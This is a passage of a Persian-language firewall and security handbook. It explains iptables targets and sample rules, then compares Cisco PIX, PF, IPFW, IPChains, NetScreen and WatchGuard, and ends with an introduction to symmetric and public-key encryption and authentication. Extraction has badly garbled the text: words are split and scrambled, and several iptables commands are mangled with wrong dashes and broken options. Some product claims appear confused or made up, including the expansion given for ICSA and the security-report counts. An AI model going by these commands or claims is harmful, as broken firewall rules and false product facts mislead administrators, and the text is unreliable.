o Related: ارتباط: کنند، با این تفاوت که بسته ایجاد شده به بسته جدیدی ملاقات می هایی است که مشخصه ارتباط 
 FTP در قرارداد 17ای ارتباط داده یک مثال شناخته شده از این نوع ارتباطات،. برقرار شده قبلی مرتبط است

 .شود از آن مربوط می 18باشد که به ارتباط کنترلی می

 (targets)ها هدف

ورت صدق کردن بسته مورد نظر در یکی از قوانين، روی که در ص ی عملی است بيان کننده targetهمانگونه که ذکر شد،  •
 IPtables های پرکاربرد هدف بعضی از. شود استفاده می j– ی ها از گزینه برای مشخص کردن هدف. شود می آن انجام

 :عبارتند از
LOG: برای ثبت یک رویداد در رویدادنامه IPtables  از حفاظ را ثبت خواهيم ترافيک گذرنده  گاهی فقط می(بکار ميرود

 (کنيم
REJECT: شود شود و سپس دور انداخته می یک پيغام خطا به عنوان پاسخ به مبداء بسته فرستاده می. 

DROP: بدون اینکه پاسخی برای فرستنده ارسال شود. شود بسته دور انداخته می. 
ACCEPT: شود بسته پذیرفته می. 
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SNAT: شود آدرس مبداء بسته به آدرس جدیدی ترجمه می. 
DNAT: شود آدرس مقصد به آدرس جدیدی ترجمه می. 

MASQUERADE: شود آدرس مبداء جدید محاسبه شده و جایگزین آدرس فعلی می. 
REDIRECT: از این . گيرد استفاده قرار می مورد) که حفاظ روی آن نصب شده(ها به ماشين محلی  برای برگرداندن بسته

 .باشد 19های نصب شده در ماشين حفاظ از دید کاربران شفاف بخواهيم سرویس ود کهش زمانی استفاده می IPtables امکان
براحتی با استفاده از این امکان . استفاده کنيم squid مثل http proxy از یک http server خواهيم در کنار فرض کنيد می

. هدایت کرد squid  از ماشين حفاظ متصل شوند، را براحتی به سمت٨٠خواهند به درگاه  می هایی که توان، همه بسته می
 :کند دستور زیر این هدف را برآورده می

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 3128 

 (. باشدمی squid پورت استاندارد 3128)
Jump: تواند پرش به یک زنجير از پيش تعریف شده از همان جدول باشد همچنين هدف می. 

  

تیياست ساده امنياده سازی چند سيپ  

وانين معرفی شده    در ادامه سعی می اده     بعضی از سياست   IPtables در کنيم با استفاده از ق اده را پي ی س يم   های امنيت ن . سازی کن  در ای
ه  eth1 و کارت واسط شبکه   LAN به eth0 يد که کارت واسط شبکهها فرض کن مثال ی     آدرس. متصل است   WAN ب های شبکه محل

  .باشد  می١٩٢٫١۶٨٫١٫١حفاظ برابر  IP آدرس و x.y.١٩٢٫١۶٨های مجازی  دارای آدرس

را  شبکه خواهيم زنجير جدیدی تعریف کنيم که فقط بتوان از می .١ رد ی داخلی به بيرون ارتباط جدیدی برق سته . (ر ک يده    ب های رس
 (.های قبلی باشند های پاسخ یا مرتبط با بسته فقط بسته WAN از شبکه

iptables -N block  
iptables -A block -m state -- state ESTABLISHED, RELATED -j ACCEPT  
iptables -A block -m state -- state NEW -i ! eth1 -j ACCEPT 
iptables -A block -j DROP 

 های گذرنده از حفاظ را به تنها کافی است بسته. دهند انجام می block شده ها را در داخل زنجير تعریف دستورات فوق عمل تصفيه بسته
 :سمت این زنجير هدایت کنيم

iptables -A INPUT -j block  
iptables -A FORWARD -j block 

 ارتباط با حفاظ از شبکه اینترنت مسدود یا باز نمایيمهای خاصی را برای  خواهيم درگاه می     .2       

 :کنيم  را مسدود می١٠٢٣تر از  های با شماره پایين به درگاه eth1 در ابتدا ارتباط از کارت واسط شبکه •

iptables –I INPUT   1  -- dport 0:1023  –i eth1 –p tcp –j DROP 
iptables –I INPUT   2  -- dport 0:1023  –i eth1 –p udp –j DROP 

 :خواهيم دسترسی به سرویس وب را از شبکه خارجی به داخل امکان پذیر کنيم در ادامه می •

iptables -I INPUT 1  --dport 80 –p tcp –i eth1 –j ACCEPT 

 :کنيم را برای یک ماشين مطمئن از شبکه خارجی ميسر می SSH سپس دسترسی به سرویس •

iptables -I INPUT 1 –dport 22 -p tcp -s 123.45.67.89 –j ACCEPT 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٤٩٢    صفحه

این کار می . پنهان کنيم MASQUERADE شبکه را با استفاده از گزینه می خواهيم آدرس همه بسته های خروجی از      .3       
  : روشهای زیر انجام پذیرد تواند به

 کنيم های خروجی را بصورت پویا مخفی می در ابتدا آدرس همه بسته •

//Using Dynamic WAN Address 
iptables –t nat -A POSTROUTING -o eth1 –s 192.168.0.0/16 -j MASQUERADE 

 :کنيم های داخلی استفاده می سپس از یک آدرس استاتيک برای مخفی کردن آدرس بسته •

iptables –t nat –A POSTROUTING -o eth1 -s 192.168.0.0/16 -j SNAT -- to 12.34.56.78  

های خارجی از شبکه داخلی  کند، ولی در آن صورت به بسته را برآورده می کر است که اضافه کردن قانون ساده زیر نياز مالازم به ذ
 :دهيد که آدرس خود را با استفاده از حفاظ شما تغيير دهند اجازه می نيز

iptables -t nat -A POSTROUTING -j MASQUERADE 

 IPtables اندازی و استفاده از راه

رم   بصورت پيش فرض همراه سایر بسته RedHat لينوکس، بویژه عامل های سيستم در بسياری از نسخه IPtables ابزار زاری   های ن اف
د  IPtables دستور در دستگاه خود مطمئن شوید، کافی است IPtables برای اینکه از نصب. شود می نصب . را در خط فرمان تایپ کني

تفاده از  root با شناسه کاربری ایدبرای اجرای چنين دستوری یا ب را  IPtables حق اجرای   sudo به سيستم وارده شده باشيد و یا با اس
  :نصب شده باشد، پيغامی مشابه پيغام زیر روی صفحه نمایش ظاهر می شود روی دستگاه شما IPtables در صورتی که. داشته باشيد

iptables v1.2.8: no command specified 
Try 'iptables -h' or 'iptables --help' for more information 

 نصب برنامه از روی. را دریافت کرده و آن را نصب کنيد  20IPtablesافزاری قابل نصب در غير این صورت باید سورس یا بسته نرم
RPM ی نصب در اینجا نحوه. پذیر است امکان گیبه ساد IPtables شود می از روی سورس آن توضيح داده:  

2bz.tar.*.*.1- IPtables نام فایل مورد نظر به صورت باشد می netfilter از سایت IPtables اولين قدم دریافت سورس •
 .دهند را نشان می IPtables ها، شماره آخرین نسخه ستارهباشد که  می

 :فایل فشرده شده را باز کنيد tar با استفاده از دستور •

tar -xvjf ./iptables-1.*.*.tar.bz2 -C /usr/src 

 :مسير جاری را به فهرست ایجاد شده در دستور فوق تغيير دهيد •

cd /usr/src/iptables-1.*.* 

 را اجرا کنيد make install آن دستورو بدنبال  make دستور •

# /bin/sh -c make 
# /bin/sh -c make install 

  اندازی راه 21 نبشته

ا   IPtables برای اینکه دستورات جاری ستم مان ار راه   شوند  22در سي ار         و در هر ب ار در داخل حافظه ب ستم بصورت خودک دازی سي ان
د   شته راه   شوند، بای رد    از یک نب تفاده ک دازی اس شته در مسير   . ان ن نب رار  etc/init.d/ ای ه راه     ق د از هر مرتب ه و بع ستم    گرفت دازی سي ان

 :کرد توان بصورت دستی و با استفاده از دستور زیر فعال البته این سرویس را می .ی شودبصورت خودکار اجرا م
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# /etc/init.d/iptables start 

د دستورات دلخواه خود را در      شما می  . فرض آن در این آدرس آمده است یک نمونه از نبشته راه اندازی به همراه دستورات پيش  تواني
 .اضافه کنيد restart یا start ،stop های یک از بدنه هر

 ابی دستوراتيره و بازيخذ

ين می     IPtables دستورات يم در حافظه را همچن ا   مق وان ب تفاده از دو دستور سودمند    ت ه    iptables-restore و iptables-save اس ک
رد   گيرد، در داخل فایل ذخيره و در اختيار کاربران قرار می IPtables ابزار توسط خود ابی ک ر  . بازی رای ذخي  IPtables  دستورات هب

 :کافی است دستور زیر را اجرا کنيم IPtables-save در فایلی با نام

iptables-save > /etc/iptables-save 

  .بازیابی کنيم IPtables-restore توانيم دستورات ذخيره شده در یک فایل را با استفاده از دستور مشابه دستور فوق می

  IPtables دیکربنيابزارهای کمکی پ

دی   اید پيکربن تفاده از دستورات خط     IPtables ش ا اس د، آسان نباشد             ب وکس ندارن ا لين ادی ب ی زی ه عمل ه تجرب سانی ک رای ک ان ب  .فرم
دین  ه نمی          ب ن اشخاص ک رای ای د دستان   منظور ابزارهای گرافيکی دیگری ب د        خواهن وکس کثيف کنن ان لين ا خط فرم ، در (!)خود را ب

  .باشد دسترس می

 :شود ر ادامه به بعضی از این ابزارهای اشاره مید

1. MonMotha’s FireWall 
2. Firewallscript 
3. Ferm-0.0.18 
4. AGT-0.83 
5. Knetfilter-1.2.4 
6. qShield-2.0.2 

اً از یک  ۴ تا ١های  ابزارهای ذکر شده در شماره تفاده می            عموم ایروال اس دی ف رای پيکربن ا فرمت خاص ب دی ب ل پيکربن ه   فای د ک  کنن
وقت گذاشته  IPtables یادگيری دستورات خط فرمان شود بجای صرف زمان و انرژی برای یادگيری فرمت این فایل، روی میتوصيه 
  !شود

 
Knetfilter  این ابزار امکاناتی برای ذخيره و . باشد می های مبتنی بر ميزبان ابزار با واسط گرافيکی مناسب برای پيکربندی حفاظ یک

ه و مخفی   tcpdump اجرای ابزارهای پویش شبکه از جمله نها،بازیابی قوانين، تست آ راهم می    آدرس سازی  و نيز ترجم ا را ف . سازد  ه
ه از    Knetfilter یکی از کمبودهای   ن است ک شتيبانی نمی    PPP23 پروتکل  ای د  پ اظ      نمی در نتيجه  . کن دی حف رای پيکربن وان از آن ب ت

  .شوند، استفاده کرد هایی که با خط تلفن به اینترنت متصل می سيستم

 
gShield  دی گرافيکی     کامل زار پيکربن رین اب ه نظر می    IPtables ت ه بصورت   . رسد  ب ستند   چرا ک ل    کامل م های   سازی شده و فای

ن از  . پيکربندی آن قابل فهم است ر ای ات  علاوه ب سته  امکان ه آدرس ب تاتيک      ترجم دی اس ا و پيکربن ق واسط   (ه و  (ppp0 اتصال از طری
  .حفاظ برخوردار است (eth0 اتصال از طریق واسط(پویای 

 
ه  ا نمی       نظر می   با این وجود ب ن ابزاره ات      رسد هيچ یک از ای ایگزین امکان ی ج ه کل د ب ان       توانن ق خط فرم ه از طری  فراوانی شوند ک

IPtables  ار رار در اختيار ک رد  می  بران ق ی          . گي ق ساختار داخل ه هيچ وجه شما را از درک عمي ا،   جدول  دستورات، (ضمن اینکه ب ه
  .کنند نياز نمی بی IPtables (...زنجيرها، 

 شتريجهت مطالعه ب
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سخه     محسوب می IPtables نوعی سایت رسمی به netfilter سایت ه آخرین ن ه     شود ک اظ ب ن حف رات،      های ای ار آخرین تغيي راه اخب هم
رین مراجع می        مستندات آموزشی و راهنمای کاربر مربوط به آن رین و در دسترس ت وان یکی از معتبرت د   را در برگرفته و به عن توان

  .مورد استفاده قرار گيرد

 
ایت ک   LinuxGuruz س دی از لين ل و مفي ه کام رتبط  مجموع ای م اه ت  IPtables  ب رده اس ردآوری ک   .را گ
ادگيری      یک رای ی ده و جامع ب ن  Oskar Andreasson توسط  IPtables صفحه آموزن یک صفحه   .آوری شده است   آدرس جمع  در ای

 .آدرس قابل دسترسی است ها از این پرسش و پاسخ مناسب در مورد حفاظ
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   ای فايروال سيسکوانواع گونه ه
 

ا        بر خلاف. فایروال های سيسکو در گونه های متفاوتی ارایه می شوند ار ب رای ک اوت ب رم افزارهای متف روترهای سيسکو که نياز به ن
ا توجه   . م گونه های فایروال، یکسان است  ابرای تم PIX است، نرم افزار آنها موجود ا ب ر        ام ایروال تغيي ارایی ف دل انتخاب شده ک ه م  ب

   .کارایی، مستقل از نرم افزار است خواهد کرد، در حالی که ميزان
 

   :انواع گونه های سخت افزاری این فایروال عبارتند از
 
• PIX 501  
• PIX 506E  
• PIX 515E  
• PIX 525  
• PIX 535  
 

   :جدول زیر کارایی گونه های مختلف این فایروال ها را در قياس با یکدیگر نشان می دهد
  

  515E  506E  501  525  535  ونهگ
  1GHz  600MHz  433MHz  300MHz  133MHz  پردازنده
  1GB  256MB  32MB,64MB 32MB  16MB  حافظه

 قابليت عبور
  دهی

1Gbps  360Mbps  188Mbps  20Mbps  10Mbps  

  7,500  25,000  130,000  280,000  500,000  تعداد ارتباطات
Failover  Yes  Yes  Yes  No  No  
 Enterprise مناسب برای

or solution 
provider 

Enterprise Medium-size 
office 

Remote-
office/branch-

office 
(ROBO) 

Small-
office/home-

office 
(SOHO) 

  
  

 
 
PF  
 

ه می شود    OpenBSD این فایروال بر روی سيستم عامل  بيه      نحوه تعریف  . ارای املا ش ایروال ک ن ف وانين در ای ا   . است  IPFW ق ا ب ام
   .استا را دار PF نسبت به کارایی و پایداری بهتری IPFW شده و مقایسه این دو فایروال، در شرایط یکسان تحقيقات انجامتوجه به 

 
PF در قياس با IPFW ه    . دارای قابليت هایی نيز می باشد وان ب ه می ت ا خود           از جمل راه ب ه محيط گرافيکی هم ز ارای ار و ني راحتی ک

رم   IPFW د، در حالی که محيط گرافيکی برایاشاره کر OPenBSD سيستم عامل سته ن ود    را باید به صورت ب ذاری نم زاری بارگ . اف
دی و         و نيز اینکه این فایروال بر اساس اعلام نظرات ل پيکربن ر قاب د، راحت ت رده ان ار ک ذکور ک تنظيم   مدیرانی که با هر دو فایروال م

وا   . است ذیرد و می ت ه به آسانی مدیریت در آن انجام می پ ایروال    ن آن را ب وان یک ف ستم عامل های     Desktop عن در  BSD تحت سي
ار      اما. نظر گرفت ارایی و دقت عملکرد در ب ترافيکی سنگين دارای مشکلات و نقص      همانطور که اشاره شد، این فایروال از لحاظ ک
   .هایی است

 
رای ی ب ای امنيت ص ه ات نق داد گزارش ایروال PF ،10035 تع رای ف ورد و ب ت IPFW ،856 م وده اس ورد ب   .م

ستم       PF و IPFW از قابليت های مهم فایروال های  ام سي ه تحت تم ن است ک دازی است         ای ل راه ان ونيکس قاب ا ی  عامل های سازگار ب
(AT&T BSD) سایر فایروالهای ارایه شده در ليست این قابليت را ندارند در حالی که.  

 
IPChains  

 
ه      این فایروال که به صورت بسته، ت وکس عرضه می شود ب راه  حت سيستم عامل لين ایروال های تحت       IPFilter هم رین ف اربرد ت پرک

یکی است،  IPFW آن با کد پابه این فایروال که کد پایه. مزایای این فایروال آسانی در نصب و پيکر بندی است از جمله. لينوکس هستند
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ل   . روال های تحت لينوکس داشته باشداز ميان فای می تواند بهترین سازگاری را با این فایروال ایين آن در مقاب ارایی پ ار ترافيک    اما ک ب
   .بالا از جمله معایب آن است

 
   :با استفاده از تحليل آماری می پردازیم IpChains در ادامه به بررسی

 
 
NetScreen  
 

ذاری از    IPFilter این فایروال در کنار تفاده و بارگ ار اس ن      . است ا  خود را دار سایت رسمی   بالا ترین آم الی ای ه معرفی اجم ل ب در ذی
   :قابليت های آن می پردازیم فایروال و بررسی

 
Internet Certification Stateful Allowing (ICSA)  : ا توجه    ارتباطات وارد شده و خارج شده از شبکه را کنترل می کند که ب

وان   . ین فایروال استکنترلی دقيق یکی از نکات برجسته ا به ایجاد یک مکانيزم اربر،        مورد دیگر اینکه می ت وع شبکه ک ه ن ا توجه ب ب
ستقل از    د او را م ای بان ود    Bandwidth Manager پهن رل نم ا کنت سيار   . ه ا    یک تحليلگر ب ق ترافيک ب ام  دقي  Optional deep) ن

inspection firewall) ODIF سرور را در لایه کاربرد محافظت می کند.   
 
 
WatchGuard  
 

روس مطرح      این. ارایه می شود WatchGualrd Firewall Firebox نام تجاری این فایروال با ی وی فایروال بيشتر به عنوان یک آنت
ار      از قابليت های آن پشتيبانی از امضای. چندانی با آن مشاهده نشده است است و از دید آماری کارایی الا در ب سيار ب دیجيتال، سرعت ب

   .بسيار بالاست security رمز شده با  از داده ها به صورتترافيکی کم و حفاظت
 
 

   قابليت های اصلی
 
   VPN نياز به محيط کاری کوچک و یا استفاده بوسيله اتصال از راه دور با استفاده از    •
   امنيت بالا در محيط همراه با هزینه کم در ارتباطات    •
    امنيتی با حداقل پيچيدگی و به طور مستقيممدیریت و پيکربندی آسان و ایجاد قوانين    •
    کاربر همزمان٢۵٠مدیریت آسان کاربران و کارایی عالی برای بيش از     •

  
 

   انجام دهيم WatchGuard آنچه که ما می توانيم با
  

 
   پراکسی در لایه کاربرد •
   DHCP پشتيبانی از •
   stateful فيلتر پویای بسته های •

PKI • همراه با  CAداخلی   
   فيلتر بر اساس محتوا •
   بلاک سایت و پورت  •
   مانيتور کردن بلادرنگ •
   ثبت و گزارش وقایع •
  

 
   WatchGuard ويژگی های منحصر به فرد

 
ایروال     –مدیریت زمان  • ن ف اربر    Dynamic VPN Configuration Protocol (DVCP)  قابليت های پروتکل انحصاری ای ه ک ب

    ثانيه ایجاد کند٣٠ دقيقه تنها در ٣٠خود را به جای  VPN ی دهد که تونلاین قابليت را م
 
   امنيت انتقال داده ها بدون وابستگی به کيفيت صدا تضمين می شود voip در هنگام ایجاد یک •
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سيا   این فایروال با استفاده از یک واسط گرافيکی و راهنمای–مدیریت آسان  • ا را   سریع در مورد موضوعات مختلف ب ری از قابليت ه

   .به مدیر می دهد
 
شتيبانی   • ایروال یکی از سریعترین مراجع پاسخگویی و رسيدگی       -پ ن ف ه             ای از ب ه ني ایروال ک ه ف الا ب ان ب ا ضریب اطمين راه ب را هم

   .حداقل می رساند ارایه می کند پشتيبانی را به
 
 

   :ديدگاه آماری
 

يم  لی که در ذیل می آید بررسی می در این قسمت فایروال های بالا را در جدوا اری بررسی می شود       . کن ه محيط ک دا گون سپس  . در ابت
سمت       محصول همراه با کرنل ارایه می شود یا خير؟ سرعت و کارایی بسيار بالا از بررسی می شود که آیا ن ق م در ای سيار مه عوامل ب

   . محصولات تا چند برابر کارایی دارندکرنل، نسبت به سایر است، به گونه ای که محصولات ارایه شده بر روی
 

   اطلاعات بسته های نرم افزاری: ١جدول 
  

گونه محيط   نام محصول
  کاری

درگيری با 
  هسته

  نسخه  اندازه

IPFW  تعبيه شده در   خط فرمان
 2.0داخل هسته
  

-  -  

IPChains   دایمون، خط
  فرمان

-  1104KB  1.3.9  

PF  تعبيه شده در   خط فرمان
 3.0داخل هسته
  

-  -  

NetScreen   دایمون، خط
  فرمان

-  1605KB  1.2.5  

WatchGuard دایمون، خط
  فرمان

- 1020KB 4.2  

  
 
 

دی    ایروال انتظار می رود از       . می شود   در ادامه نوع دسترسی کاربر و تقاضایی که به فایروال می رسد دسته بن ه از ف ه پاسخی ک گون
   .کارایی فایروال است المانهای مهم در

 
   انواع دسترسی ها: ٢جدول 

  
  نوع محافظت  نوع دسترسی  شماره

  NAT  packet filtering  سرویس های غير قابل اعتماد
  NAT  packet filtering  ارتباطات قابل اطمينان
  NAT  packet/url/content filtering  وب غير قابل اطمينان

  
 

د در این قسمت طبق جدول زیر تفاوت های کارایی بين نرم افزاراهی   از و -ک يم      ب ه می کن ه    . محصولات تجاری را ارای دليل آنکه ارای ب
ه شده             کنندگان این محصولات  ایج ارای اوت نت د، ممکن است تف رده ان ایش ک ا را در شرایط مساعدی آزم ده       آنه يج کنن ایج واقعی گ ا نت ب

   .ا استناد کردمحک را ارایه ميکنند که می توان به آنه اصطلاحات و تعاریف یک RFC1242 و RFC2544.باشد
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   با رمزنگاری اطلاعاتيیآشنا

. سازمانها و موسسات شده است    نحوه زندگی و فعاليت شغلی افراد ، اینترنت باعث ایجاد تغييرات گسترده در گسترش و رشد بی سابقه
اربران اینترنت  . حقوقی و حقيقی است  اطلاعات یکی از مسائل مشترک شخصيت های امنيت تفا   ک ان اس  ده از شبکه، اطلاعات  در زم

ه اطلاعات       اطمينان از عدم. دریافت می دارند دفعات ارسال و یاه حساس و مهمی را ب ر مجاز ب راد غي تيابی اف رین    دس حساس از مهمت
 ،مشاهده آنان توسط دیگران نداریم  اطلاعات حساس که ما تمایلی به. است  رابطه با توزیع اطلاعات در اینترنت چالش های امنيتی در

   : اینگونه اطلاعات بشرح زیر می باشند برخی از. موارد متعددی را شامل می شود

   اطلاعات کارت اعتباری •
   من هاجشماره های عضویت در ان •
   اطلاعات خصوصی •
   جزئيات اطلاعات شخصی •
   اطلاعات حساس در یک سازمان •
   اطلاعات مربوط به حساب های بانکی •

 
ر روی    ا اینترنت از روش های     تاکنون برای امنيت اطلاعات ب امپيوتر و ی تفاده شده است      ک ددی اس رین  . متع اده ت روش حفاظت از   س

داری اطلاعات    ل        اطلاعات نگه ره سازی قاب ر روی محيط های ذخي ا است       حساس ب ی دیسک ه ر فلاپ ال نظي داولترین روش   . انتق مت
وده و صرفا    ای افراد غير مجاز امکانرمز شده بر دستيابی به اطلاعات. نمودن آنها است  حفاظت اطلاعات ، رمز ذیر نب رادی  پ ه    اف ک

   .باشند نمودن رمز و استفاده از اطلاعات می کليد رمز می باشند ، قادر به باز دارای

 
. تاریخی است   رمز نگاری دارای یک سابقه طولانی و استفاده از علم.علوم رمز نگاری است  رمز نمودن اطلاعات کامپيوتر مبتنی بر

اربران رمزنگاری اطلاعات ،     از عصر اطلاعات ،قبل  شترین ک ا و مخصوصا    بي وارد نظامی   دولت ه وده است     در م ابقه رمز   . ب س
ردد      نمودن اطلاعات   ر می گ ه دوران امپراطوری روم ب دل های      .ب ا و م ا     امروزه اغلب روش ه  رمزنگاری اطلاعات در رابطه ب

ولی در    تشخيص  کشف و. خدمت گرفته می شوده کامپيوتر ب ه بصورت معم ه روش      اطلاعاتی ک د هر گون ره و فاق امپيوتر ذخي علمی   ک
   . نياز به تخصصی خاص انجام خواهد یافت رمزنگاری باشند ، براحتی و بدون

 
 

   : می گردند کامپيوتر به دو گروه عمده زیر تقسيم اکثر سيستم های رمزنگاری اطلاعات در

    متقارن-رمزنگاری کليد  •
    عمومی-د رمزنگاری کلي •
    متقارن-رمز نگاری کليد  •

 
ل از     بوده که از آن برای) کد ( کليد رمز  در روش فوق ، هر کامپيوتر دارای یک سته اطلاعاتی قب ارسال اطلاعات    رمزنگاری یک ب

داميک از     این روش لازم است در ابتدا مشخص در .کامپيوتر دیگر ، استفاده می نماید بر روی شبکه و یا ه ک ردد ک ا قصد  گ  کامپيوتره
سيستم ها می  در ادامه کليد رمز بر روی هر یک از پس از مشخص شدن هر یک از کامپيوترها، مبادله اطلاعاتی با یکدیگر را دارند ،

سپس اطلاعات رمز شده   و استفاده از کليد رمز ، رمز نگاری شده ارسالی توسط کامپيوترهای فرستنده با اطلاعات. بایست نصب گردد
تفاده      پس از دریافت اطلاعات رمز شده. شد  خواهندارسال ا اس ده ، ب شا      توسط کامپيوترهای گيرن ه بازگ دام ب د رمز اق  ی رمز و یاز کلي

و سپس ارسال  پيامی را برای یکی از دوستان خود رمز  فرض کنيد مثلا. استفاده خواهد شد  برگرداندن اطلاعات بصورت اوليه و قابل
ه دو   اید که بر اساس آن هر یک از حروف نگاری اطلاعات از روشی استفاده نموده زشما برای رم. می نمائيد  موجود در متن پيام را ب
  . از خود تبدیل کرده اید حرف بعد

رای دوست     پس از. تبدیل می گردند D به حروف B و حروف C موجود در متن پيام به حروف A  حروف مثلا ارسال پيام رمز شده ب
ام دارای   . کرد مطمئن کليد رمز را نيز برای وی مشخص ا استفاده از یک روش ایمن ومی بایست ب خود ، ده پي د   در صورتيکه گيرن کلي

ه دوست  . بود ی و استفاده از اطلاعات نخواهدیگشا رمز مناسب نباشد ، قادر به رمز ه      در چنين حالتی می بایست ب د ک ذکر گردی خود مت
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عمليات معکوس قادر به شکستن رمز  گيرنده پيام با انجام" . واحد است   جلو و به اندازه دوسمته دادن هر حرف ب شيفت" کليد رمز ، 
   .استفاده از اطلاعات خواهد بود و

 
    عمومی-رمزنگاری کليد 

 
تفاده می شود    در روش فوق از ترکيب یک کليد خصوصی و د . یک کليد عمومی اس امپيوتر    خصوصی صرفا   کلي ه ک ق ب تنده    متعل فرس

د ، گذاشته    ی که قصد برقراری ارتباطیها کامپيوتر کامپيوتر فرستنده در اختيار هر یک از  و کليد عمومی توسطبوده با یکدیگر را دارن
د  کامپيوتر می بایست از کليد عمومی که ی یک پيام رمز شده ،یگشا برای رمز .می شود خصوص   توسط فرستنده ارائه شده، بهمراه کلي

 با استفاده از. است  PGP ( Pretty Good Privacy) این رابطه متداولترین برنامه های رمزنگاری در  یکی از.ی خود استفاده نماید
PGP چيز دلخواه را رمز نمود می توان هر.   

 
ن    دهنده وب ، لازم است از رویکردهای   عمومی در مقياس بالا نظير یک سرویس - بمنظور پياده سازی رمزنگاری کليد دیگری در ای

ردد  خص  تفاده گ ال    " .وص اس ه است یک امضای       یکی از رویکردهای  " امضای دیجيت ن زمين الی صرفا   موجود در ای  شامل   دیجيت
ام     وب با استفاده و بکارگيری یک سرویس   بوده که اعلام می نماید ، سرویس دهنده اطلاعات محدودی ا ن ستقل ب ، " امضای مجاز   " م

ای وظيف     وانبعن" امضای مجاز . "اطلاعات است  امين امپيوتر ایف ين دو ک د   هیک ميانجی ب ودن هر یک از     . می نمای  هویت و مجاز ب
   .عمومی مربوطه را فراهم خواهد کرد سرویس دهنده انجام و برای هر یک کليد کامپيوترها برای برقراری ارتباط توسط

 
اده     ه های پي داولترین نمون د     یکی از مت روش  . است  (SSL)Secure Sokets Layer شرو  عمومی ، -سازی شده از رمزنگاری کلي

دگان    ها امنيتی اینترنت بوده که توسط مرورگر یک پروتکل SSL .پياده سازی گردید " نت اسکيپ"فوق در ابتدا توسط  و سرویس دهن
ال ردد  وب بمنظور ارس ی گ تفاده م ات حساس ، اس را SSL .اطلاع ل اخي وان بخشی از پروتک  TLS)Transport Layer  بعن

Security) گرفته شده است در نظر .   

 
رد     را با استفاده TLS رپروتکل ایمن نظي در مرورگر می توان زمان استفاده از یک دد اعلام ک تفاده . از روش های متع  از پروتکل  اس

"https"   درعوض پروتکل "http"      واردی در بخش وضعيت پنجره      در. یکی از روش های موجود است ين م  مرورگر یک   چن
"Padlock" شد نشان داده خواهد.   

 
ستمها از ترکيب   .زیادی را صرف انجام محاسبات می نماید  عمومی ، مدت زمان-رمزنگاری کليد  د عمومی و    بنابراین در اکثر سي کلي

د ، یکی    را با زمانيکه دو کامپيوتر یک ارتباط ایمن .متقارن استفاده می گردد ا یک ک   یکدیگر برقرار می نماین ارن   از کامپيوتره د متق لي
کامپيوتر قادر به برقرار  در ادامه دو. ارسال خواهد کرد  عمومی ،-استفاده از رمزنگاری کليد  ایجاد و آن را برای کامپيوتر دیگر با را

تفاده شده را دور   اتمام ارتباط ، هر یک از کامپيوترها پس از. رمزنگاری کليد متقارن می باشند کمکه ارتباط ب ه  ا کليد متقارن اس نداخت
   (....متقارن ،  ایجاد یک کليد( فوق تکرار گردد   فرآیند ارتباط مجدد ، می بایست مجددا و در صورت نياز به برقراری یک

 
   Hash مقدار

 
ه     ر پای د عمومی ب دار   رمزنگاری مبتنی بر کلي دار . ، استوار است    hash یک مق ه       مق دار ورودی ک ر اساس یک مق وق ، ب ار   ف دراختي

ردد     گذاشته می hashing الگوریتم اد می گ ردد ، ایج دار  . گ دار     hash در حقيقت مق رم خلاصه شده ای از مق ه ای خود است     ، ف . اولي
   . اوليه بعيد بنظر می رسد الگوریتم استفاده شده تشخيص عدد ورودی بدون آگاهی از

 
   آیا شما معتبر هستيد ؟

 
د ، رمز  همانگونه که در ابتدای بخش فوق اشاره ر     گردی ه ب دی است ک رای    اساس آن اطلاعات ارسالی از یک     نگاری فرآین امپيوتر ب ک
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د شد       کامپيوتر دیگر ، در  دا رمز و سپس ارسال خواهن امپيوتر دوم   .ابت ده  ( ک ه       ، پس از ) گيرن دام ب  دریافت اطلاعات می بایست ،اق
شخيص ارسال   یکی دیگر از. ی آنان نمایدیرمزگشا ئن ،      اطلا فرآیندهای موجود بمنظور ت ع ایمن و مطم تفاده از   عات توسط یک منب اس

اطلاعات آگاهی داشته  باشند ، شما نسبت به هویت ایجاد کننده " معتبر"در صورتيکه اطلاعات . است  " اعتبار سنجی" روش معروف 
دهای   . کرده اندپيدا ن ایجاد تا زمان دریافت توسط شما تغيير بدست خواهيد آورد که اطلاعات از زمان و این اطمينان را ا ترکيب فرآین  ب

   . محيط ایمن را ایجاد کرد رمزنگاری و اعتبار سنجی می توان یک

 
   : روش های متعددی استفاده می شود اطلاعات موجود بر روی یک کامپيوتر از بمنظور بررسی اعتبار یک شخص و یا

کاربران نام و رمز  . است " سنجی  اعتبار"لترین روش عبور برای کاربران ، متداو استفاده از نام و رمز.       رمز عبور  ●
ا رمز   . می گردند ادامه اطلاعات وارد شده فوق ، بررسی خود را در زمان مورد نظر وارد و در عبور ام و ی  در صورتيکه ن

   .کاربر داده نخواهد شد منابع تعریف شده بر روی سيستم به عبور نادرست باشند ، امکان دستيابی به

 
ا .  کارت های عبور     ●  ند      این نوع کارت ه اوتی می باش دل های متف ارت . دارای م سی     ک ه مغناطي شابه  ( های دارای لای م

   .ی از کارت های عبور می باشندیها نمونه) دارای یک تراشه کامپيوتر است  ) و کارت های هوشمند) های اعتباری  کارت

 
الی  يامضای دیج  ●      الی،  . ت ودن یک     روشی   امضای دیجيت ر ب ان از معتب ند الکترونيکی    بمنظور اطمين ر ( س ه : نظي  نام

د       (DSS) استاندارد امضای دیجيتالی. است  ( ... الکترونيکی ، فایل های متنی و وع خاصی از رمزنگاری کلي ر اساس ن  ، ب
د    .گردد ایجاد می (DSA) دیجيتالی عمومی و استفاده از الگوریتم امضای وق شامل یک کلي ناخته شده    )  عمومی الگوریتم ف ش

ده   -الکترونيکی  توسط صاحب اوليه سند د  )  امضاء کنن ار   . عمومی است    و یک کلي د عمومی دارای چه در . بخش است    کلي
مورد نظری که بر اساس آنها  الکترونيکی ، تغيير یابد ، مقادیر درج امضای دیجيتالی به یک سند صورتيکه هر چيزی پس از

   .تغيير خواهند کرد قایسه خواهد شد ، نيزدیجيتالی با آن م امضای

 
 

ر . تاکنون طراحی و عرضه شده است      " اعتبار سنجی"سيستم های متعددی برای  رای       اکث وق از زیست سنجی ب ستم های ف ين   سي تعي
برخی از روش  . گردد برای تشخيص هویت افراد استفاده می شناسی علم زیست سنجی از اطلاعات زیست در. اعتبار استفاده می نمایند

   : زیر می باشند مبتنی بر زیست شناسی کاربران ، بشرح های اعتبار سنجی

